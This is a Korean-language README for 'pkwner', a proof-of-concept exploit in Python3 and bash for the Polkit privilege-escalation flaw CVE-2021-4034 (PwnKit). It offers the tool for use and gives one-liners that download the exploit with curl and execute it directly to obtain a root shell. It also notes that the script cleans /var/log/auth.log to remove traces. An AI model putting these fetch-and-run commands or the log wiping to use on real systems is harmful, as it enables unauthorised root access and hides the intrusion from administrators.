kimusan/pkwner# CVE-2021-4034에 대한 python3 및 bash PoC (Kim Schulz 작성)
██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ ██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗ ██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ ██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ Kim Schulz가 작성한 CVE-2021-4034용 Python3 및 BASH PoC
이것은 새로 발견된 Polkit 오류 이름 PwnKit에 대한 간단한 PoC입니다.
재미삼아 bash와 python3 스크립트 두 가지로 모두 만들었습니다.
이 문제는 악용하기 매우 간단하지만, 공격자가 로컬 사용자 접근 권한을 가진 대부분의 Linux 머신에서 쉽게 root 접근 권한을 얻을 수 있기 때문에 그 영향은 엄청납니다.
이 스크립트들은 일회성 실행이므로 다음과 같이 실행하면 됩니다.
python3 pkwner.py
또는
bash pkwner.sh
웹서버(예: 이 GitHub 저장소)에서 직접 실행할 수도 있습니다:
python3 <(curl https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.py)
또는
source <(curl -s https://raw.githubusercontent.com/kimusan/pkwner/main/pkwner.sh))
두 경우 모두 다음과 같은 화면이 표시됩니다:
그리고
이 스크립트는 일부 파일과 폴더를 생성하지만 root 셸이 실행되면 스스로 정리합니다. 심지어 /var/log/auth.log도 정리합니다(왜냐하면 그럴 수 있으니까요).